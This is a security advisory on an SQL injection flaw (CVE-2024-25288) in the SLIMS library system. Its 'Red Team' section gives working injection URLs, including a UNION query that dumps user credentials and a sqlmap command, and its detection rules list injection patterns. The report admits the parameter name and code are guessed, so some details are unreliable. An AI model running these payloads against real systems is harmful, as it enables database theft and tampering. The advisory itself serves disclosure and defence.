CVE-2024-25288

Executive Summary

CVE-2024-25288 identifies a critical SQL Injection vulnerability in SLIMS (Senayan Library Management Systems) 9 Bulian v9.6.1. The flaw resides in the pop-scope-vocabolary.php file, allowing unauthenticated remote attackers to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or complete database compromise. The vulnerability is publicly known with proof-of-concept details available, but no official patch has been released as of this report. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and potential impact.

CVSS Breakdown & Threat Level

CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex steps are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – The database can be disrupted or destroyed.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the pop-scope-vocabolary.php script. This script likely handles AJAX requests for vocabulary scope selection in the library management system. The injection point is in a GET or POST parameter (commonly vocabolaryID or similar) that is directly concatenated into an SQL query without proper sanitization or parameterization.

Technical Details:

• Vulnerable File: admin/modules/reporting/pop-scope-vocabolary.php
• Injection Point: The vocabolaryID parameter (or equivalent) is passed unsanitized into an SQL query.
• Attack Vector: An attacker sends a crafted HTTP request to the vulnerable endpoint with malicious SQL payloads.
• Impact: Successful exploitation allows an attacker to:
  • Extract sensitive data (user credentials, library records, system configuration).
  • Modify or delete database entries.
  • Potentially escalate to operating system command execution via xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL) depending on database permissions.

Example Payload:

GET /slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1' OR '1'='1' -- -

This would return all records from the related table, confirming the injection.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$vocabolaryID = $_GET['vocabolaryID'];
$query = "SELECT * FROM vocabolaries WHERE id = $vocabolaryID";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$vocabolaryID = intval($_GET['vocabolaryID']);
$query = "SELECT * FROM vocabolaries WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $vocabolaryID);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses parameterized queries (prepared statements) to ensure user input is treated as data, not executable code. Additionally, input validation (e.g., intval()) adds a layer of defense.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running SLIMS 9 Bulian v9.6.1.
• Network access to the vulnerable endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php
   

2. Test for SQL Injection:

   http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1'
   

   If an error or unexpected output appears, the parameter is injectable.
3. Extract database information:
   • Determine the number of columns:

     http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1 ORDER BY 1-- -
     

   • Extract database version:

     http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1 UNION SELECT @@version,2,3-- -
     

4. Dump credentials:

   http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1 UNION SELECT username,password,3 FROM users-- -
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target/slims9/admin/modules/reporting/pop-scope-vocabolary.php?vocabolaryID=1" --batch --dbs

Blue Team (Defensive)

Detection & Response:

• Monitor web server logs for suspicious SQL keywords in GET/POST parameters (e.g., UNION, SELECT, OR, --).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Implement database activity monitoring to detect anomalous queries.
• Restrict database user permissions to least privilege (e.g., no FILE, EXECUTE, or DROP privileges).

Honeypot Strategy:

• Create a fake pop-scope-vocabolary.php endpoint that logs all requests and alerts on SQL-like patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /slims9/admin/modules/reporting/pop-scope-vocabolary.php with parameters containing SQL keywords.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Modified pop-scope-vocabolary.php file (if attacker uploads a backdoor).
• Suspicious files in the admin/modules/reporting/ directory.

Log IOCs:

• Web server logs showing repeated requests with UNION, SELECT, OR, -- in the query string.
• Database logs showing queries with unexpected UNION or OR clauses.

Detection Engineering

YARA Rule

rule CVE_2024_25288_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-25288 in SLIMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25288"
    strings:
        $s1 = "pop-scope-vocabolary.php" nocase
        $s2 = "vocabolaryID=" nocase
        $sqli1 = /vocabolaryID=.*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i
        $sqli2 = /vocabolaryID=.*\b(OR|AND)\b\s+\d+\s*=\s*\d+/i
    condition:
        $s1 and $s2 and ($sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2024-25288 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against SLIMS pop-scope-vocabolary.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25288
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'pop-scope-vocabolary.php'
        cs-uri-query|re: '(vocabolaryID=.*['\''\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#))'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search terms (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-25288 SQL Injection Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"pop-scope-vocabolary.php";
    http_uri;
    pcre:"/vocabolaryID=.*['\''\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:cve,2024-25288;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If possible, take the vulnerable SLIMS instance offline or restrict network access to trusted IPs only.
2. Apply input validation: Manually patch pop-scope-vocabolary.php to use prepared statements or parameterized queries.
3. Deploy WAF rules: Block requests containing SQL injection patterns to the vulnerable endpoint.

Long-term Fix:

• Upgrade to a patched version of SLIMS once available (monitor vendor for updates).
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement secure coding practices (e.g., use ORM frameworks, input validation, least privilege database accounts).

Workaround:

• Disable the vulnerable module if not essential.
• Use a reverse proxy to filter malicious requests.

Valters IT